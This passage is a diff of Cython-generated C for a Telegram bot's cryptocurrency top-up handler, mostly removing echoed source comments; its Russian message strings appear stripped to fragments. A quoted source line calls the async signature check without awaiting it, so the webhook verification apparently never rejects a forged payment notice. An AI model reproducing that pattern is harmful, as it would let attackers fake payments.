reply_markup=builder.as_markup(), - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 232, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_3); - /* "handlers/payments/cryprobot_pay.py":233 - * ) - * await message.answer( - * text=f" {amount} .", # <<<<<<<<<<<<<< - * reply_markup=builder.as_markup(), - * ) - */ __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 233, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 233, __pyx_L9_error) @@ -9866,13 +8651,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_t_2) < 0) __PYX_ERR(0, 233, __pyx_L9_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":234 - * await message.answer( - * text=f" {amount} .", - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * except Exception as e: - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 234, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_8 = NULL; @@ -9900,13 +8678,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_reply_markup, __pyx_t_2) < 0) __PYX_ERR(0, 233, __pyx_L9_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":232 - * InlineKeyboardButton(text=" ", callback_data="pay"), - * ) - * await message.answer( # <<<<<<<<<<<<<< - * text=f" {amount} .", - * reply_markup=builder.as_markup(), - */ __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 232, __pyx_L9_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -9946,22 +8717,8 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx } } - /* "handlers/payments/cryprobot_pay.py":224 - * ) - * - * if hasattr(invoice, "bot_invoice_url"): # <<<<<<<<<<<<<< - * builder = InlineKeyboardBuilder() - * builder.row( - */ } - /* "handlers/payments/cryprobot_pay.py":215 - * ReplenishBalanceState.waiting_for_payment_confirmation_crypto - * ) - * try: # <<<<<<<<<<<<<< - * invoice = await crypto.create_invoice( - * fiat="USD", - */ } __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -9974,13 +8731,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/cryprobot_pay.py":236 - * reply_markup=builder.as_markup(), - * ) - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * else: - */ __pyx_t_13 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_13) { __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -9993,13 +8743,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_cur_scope->__pyx_v_e = __pyx_t_9; /*try:*/ { - /* "handlers/payments/cryprobot_pay.py":237 - * ) - * except Exception as e: - * logger.error(f" : {e}") # <<<<<<<<<<<<<< - * else: - * await message.answer(" . , :") - */ __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_logger); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 237, __pyx_L23_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 237, __pyx_L23_error) @@ -10036,13 +8779,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } - /* "handlers/payments/cryprobot_pay.py":236 - * reply_markup=builder.as_markup(), - * ) - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * else: - */ /*finally:*/ { /*normal exit:*/{ __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); @@ -10093,13 +8829,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx } goto __pyx_L11_except_error; - /* "handlers/payments/cryprobot_pay.py":215 - * ReplenishBalanceState.waiting_for_payment_confirmation_crypto - * ) - * try: # <<<<<<<<<<<<<< - * invoice = await crypto.create_invoice( - * fiat="USD", - */ __pyx_L11_except_error:; __Pyx_XGIVEREF(__pyx_t_10); __Pyx_XGIVEREF(__pyx_t_11); @@ -10114,21 +8843,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_L14_try_end:; } - /* "handlers/payments/cryprobot_pay.py":203 - * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): # <<<<<<<<<<<<<< - * amount = int(message.text) - * if amount // RUB_TO_USDT <= 0: - */ goto __pyx_L4; } - /* "handlers/payments/cryprobot_pay.py":239 - * logger.error(f" : {e}") - * else: - * await message.answer(" . , :") # <<<<<<<<<<<<<< - */ /*else*/ { __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); @@ -10177,13 +8894,6 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx __pyx_L4:; CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/cryprobot_pay.py":201 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -11767,69 +10477,27 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); - /* "handlers/payments/cryprobot_pay.py":82 - * session=session, - * ) - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * " :", - * reply_markup=builder.as_markup(), - */ __pyx_tuple__5 = PyTuple_Pack(1, __pyx_kp_u__4); if (unlikely(!__pyx_tuple__5)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__5); __Pyx_GIVEREF(__pyx_tuple__5); - /* "handlers/payments/cryprobot_pay.py":93 - * callback_query: types.CallbackQuery, state: FSMContext - * ): - * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< - * - * if len(data) != 2: - */ __pyx_tuple__8 = PyTuple_Pack(2, __pyx_kp_u__7, __pyx_int_1); if (unlikely(!__pyx_tuple__8)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__8); __Pyx_GIVEREF(__pyx_tuple__8); - /* "handlers/payments/cryprobot_pay.py":161 - * async def check_hash(request): - * body_text = await request.text() - * crypto_pay_signature = request.headers.get( # <<<<<<<<<<<<<< - * "Crypto-Pay-Api-Signature", "No value" - * ) - */ __pyx_tuple__24 = PyTuple_Pack(2, __pyx_kp_u_Crypto_Pay_Api_Signature, __pyx_kp_u_No_value); if (unlikely(!__pyx_tuple__24)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__24); __Pyx_GIVEREF(__pyx_tuple__24); - /* "handlers/payments/cryprobot_pay.py":193 - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_cryptobot")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * ", .", - * reply_markup=builder.as_markup(), - */ __pyx_tuple__30 = PyTuple_Pack(1, __pyx_kp_u__29); if (unlikely(!__pyx_tuple__30)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__30); __Pyx_GIVEREF(__pyx_tuple__30); - /* "handlers/payments/cryprobot_pay.py":38 - * - * - * @router.callback_query(F.data == "pay_cryptobot") # <<<<<<<<<<<<<< - * async def process_callback_pay_cryptobot( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ __pyx_tuple__37 = PyTuple_Pack(8, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__37); __Pyx_GIVEREF(__pyx_tuple__37); __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__37, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_callback_pay_cryptobot, 38, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 38, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":89 - * - * - * @router.callback_query(F.data.startswith("crypto_amount|")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ __pyx_tuple__38 = PyTuple_Pack(1, __pyx_kp_u_crypto_amount); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__38); __Pyx_GIVEREF(__pyx_tuple__38); @@ -11838,61 +10506,26 @@ static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { __Pyx_GIVEREF(__pyx_tuple__39); __pyx_codeobj__6 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__39, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_amount_selection, 89, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__6)) __PYX_ERR(0, 89, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":136 - * - * - * async def cryptobot_webhook(request): # <<<<<<<<<<<<<< - * try: - * if not check_hash(request): - */ __pyx_tuple__40 = PyTuple_Pack(3, __pyx_n_s_request, __pyx_n_s_data, __pyx_n_s_e); if (unlikely(!__pyx_tuple__40)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__40); __Pyx_GIVEREF(__pyx_tuple__40); __pyx_codeobj__19 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__40, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_cryptobot_webhook, 136, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__19)) __PYX_ERR(0, 136, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":159 - * - * - * async def check_hash(request): # <<<<<<<<<<<<<< - * body_text = await request.text() - * crypto_pay_signature = request.headers.get( - */ __pyx_tuple__41 = PyTuple_Pack(3, __pyx_n_s_request, __pyx_n_s_body_text, __pyx_n_s_crypto_pay_signature); if (unlikely(!__pyx_tuple__41)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__41); __Pyx_GIVEREF(__pyx_tuple__41); __pyx_codeobj__23 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__41, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_check_hash, 159, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__23)) __PYX_ERR(0, 159, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":169 - * - * - * async def process_crypto_payment(payload): # <<<<<<<<<<<<<< - * if payload["status"] == "paid": - * custom_payload = payload["payload"] - */ __pyx_tuple__42 = PyTuple_Pack(7, __pyx_n_s_payload, __pyx_n_s_custom_payload, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__42)) __PYX_ERR(0, 169, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__42); __Pyx_GIVEREF(__pyx_tuple__42); __pyx_codeobj__25 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__42, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_crypto_payment, 169, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__25)) __PYX_ERR(0, 169, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":186 - * - * - * @router.callback_query(F.data == "enter_custom_amount_crypto") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ __pyx_tuple__43 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__43)) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__43); __Pyx_GIVEREF(__pyx_tuple__43); __pyx_codeobj__27 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__43, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_cryprobot_pay_2, __pyx_n_s_process_enter_custom_amount, 186, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__27)) __PYX_ERR(0, 186, __pyx_L1_error) - /* "handlers/payments/cryprobot_pay.py":201 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(message: types.Message, state: FSMContext): - * if message.text.isdigit(): - */ __pyx_tuple__44 = PyTuple_Pack(6, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_invoice, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__44)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__44); __Pyx_GIVEREF(__pyx_tuple__44); @@ -12413,11 +11046,6 @@ if (!__Pyx_RefNanny) { if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif - /* "handlers/payments/cryprobot_pay.py":1 - * from typing import Any # <<<<<<<<<<<<<< - * - * from aiocryptopay import AioCryptoPay, Networks - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_Any); @@ -12432,13 +11060,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":3 - * from typing import Any - * - * from aiocryptopay import AioCryptoPay, Networks # <<<<<<<<<<<<<< - * from aiogram import F, Router, types - * from aiogram.fsm.context import FSMContext - */ __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_AioCryptoPay); @@ -12460,13 +11081,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":4 - * - * from aiocryptopay import AioCryptoPay, Networks - * from aiogram import F, Router, types # <<<<<<<<<<<<<< - * from aiogram.fsm.context import FSMContext - * from aiogram.fsm.state import State, StatesGroup - */ __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 4, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_F); @@ -12495,13 +11109,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":5 - * from aiocryptopay import AioCryptoPay, Networks - * from aiogram import F, Router, types - * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< - * from aiogram.fsm.state import State, StatesGroup - * from aiogram.types import InlineKeyboardButton - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_FSMContext); @@ -12516,13 +11123,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":6 - * from aiogram import F, Router, types - * from aiogram.fsm.context import FSMContext - * from aiogram.fsm.state import State, StatesGroup # <<<<<<<<<<<<<< - * from aiogram.types import InlineKeyboardButton - * from aiogram.utils.keyboard import InlineKeyboardBuilder - */ __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_State); @@ -12544,13 +11144,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":7 - * from aiogram.fsm.context import FSMContext - * from aiogram.fsm.state import State, StatesGroup - * from aiogram.types import InlineKeyboardButton # <<<<<<<<<<<<<< - * from aiogram.utils.keyboard import InlineKeyboardBuilder - * from aiohttp import web - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); @@ -12565,13 +11158,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":8 - * from aiogram.fsm.state import State, StatesGroup - * from aiogram.types import InlineKeyboardButton - * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< - * from aiohttp import web - * - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); @@ -12586,13 +11172,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":9 - * from aiogram.types import InlineKeyboardButton - * from aiogram.utils.keyboard import InlineKeyboardBuilder - * from aiohttp import web # <<<<<<<<<<<<<< - * - * from config import CRYPTO_BOT_ENABLE, CRYPTO_BOT_TOKEN, RUB_TO_USDT - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_web); @@ -12607,13 +11186,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":11 - * from aiohttp import web - * - * from config import CRYPTO_BOT_ENABLE, CRYPTO_BOT_TOKEN, RUB_TO_USDT # <<<<<<<<<<<<<< - * from database import ( - * add_connection, - */ __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_CRYPTO_BOT_ENABLE); @@ -12642,13 +11214,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":13 - * from config import CRYPTO_BOT_ENABLE, CRYPTO_BOT_TOKEN, RUB_TO_USDT - * from database import ( - * add_connection, # <<<<<<<<<<<<<< - * add_payment, - * check_connection_exists, - */ __pyx_t_3 = PyList_New(5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_add_connection); @@ -12667,13 +11232,6 @@ if (!__Pyx_RefNanny) { __Pyx_GIVEREF(__pyx_n_s_update_balance); if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 4, __pyx_n_s_update_balance)) __PYX_ERR(0, 13, __pyx_L1_error); - /* "handlers/payments/cryprobot_pay.py":12 - * - * from config import CRYPTO_BOT_ENABLE, CRYPTO_BOT_TOKEN, RUB_TO_USDT - * from database import ( # <<<<<<<<<<<<<< - * add_connection, - * add_payment, - */ __pyx_t_2 = __Pyx_Import(__pyx_n_s_database, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -12699,13 +11257,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":19 - * update_balance, - * ) - * from handlers.payments.gift import PROJECTMANECONGIGURE # <<<<<<<<<<<<<< - * from handlers.payments.utils import send_payment_success_notification - * from handlers.texts import PAYMENT_OPTIONS - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_PROJECTMANECONGIGURE); @@ -12720,13 +11271,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":20 - * ) - * from handlers.payments.gift import PROJECTMANECONGIGURE - * from handlers.payments.utils import send_payment_success_notification # <<<<<<<<<<<<<< - * from handlers.texts import PAYMENT_OPTIONS - * from logger import logger - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_send_payment_success_notificatio); @@ -12741,13 +11285,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":21 - * from handlers.payments.gift import PROJECTMANECONGIGURE - * from handlers.payments.utils import send_payment_success_notification - * from handlers.texts import PAYMENT_OPTIONS # <<<<<<<<<<<<<< - * from logger import logger - * - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_PAYMENT_OPTIONS); @@ -12762,13 +11299,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":22 - * from handlers.payments.utils import send_payment_success_notification - * from handlers.texts import PAYMENT_OPTIONS - * from logger import logger # <<<<<<<<<<<<<< - * - * router = Router() - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_logger); @@ -12783,13 +11313,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":24 - * from logger import logger - * - * router = Router() # <<<<<<<<<<<<<< - * - * - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_Router); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) @@ -12798,26 +11321,12 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_router, __pyx_t_3) < 0) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/cryprobot_pay.py":27 - * - * - * if CRYPTO_BOT_ENABLE: # <<<<<<<<<<<<<< - * crypto = AioCryptoPay(token=CRYPTO_BOT_TOKEN, network=Networks.MAIN_NET) - * - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_CRYPTO_BOT_ENABLE); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_4) { - /* "handlers/payments/cryprobot_pay.py":28 - * - * if CRYPTO_BOT_ENABLE: - * crypto = AioCryptoPay(token=CRYPTO_BOT_TOKEN, network=Networks.MAIN_NET) # <<<<<<<<<<<<<< - * - * - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_AioCryptoPay); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) @@ -12840,22 +11349,8 @@ if (!__Pyx_RefNanny) { if (PyDict_SetItem(__pyx_d, __pyx_n_s_crypto_2, __pyx_t_6) < 0) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/cryprobot_pay.py":27 - * - * - * if CRYPTO_BOT_ENABLE: # <<<<<<<<<<<<<< - * crypto = AioCryptoPay(token=CRYPTO_BOT_TOKEN, network=Networks.MAIN_NET) - * - */ } - /* "handlers/payments/cryprobot_pay.py":32 - * - * - * class ReplenishBalanceState(StatesGroup): # <<<<<<<<<<<<<< - * choosing_amount_crypto = State() - * waiting_for_payment_confirmation_crypto = State() - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_StatesGroup); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) @@ -12874,13 +11369,6 @@ if (!__Pyx_RefNanny) { } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/cryprobot_pay.py":33 - * - * class ReplenishBalanceState(StatesGroup): - * choosing_amount_crypto = State() # <<<<<<<<<<<<<< - * waiting_for_payment_confirmation_crypto = State() - * entering_custom_amount_crypto = State() - */ __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_State); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = 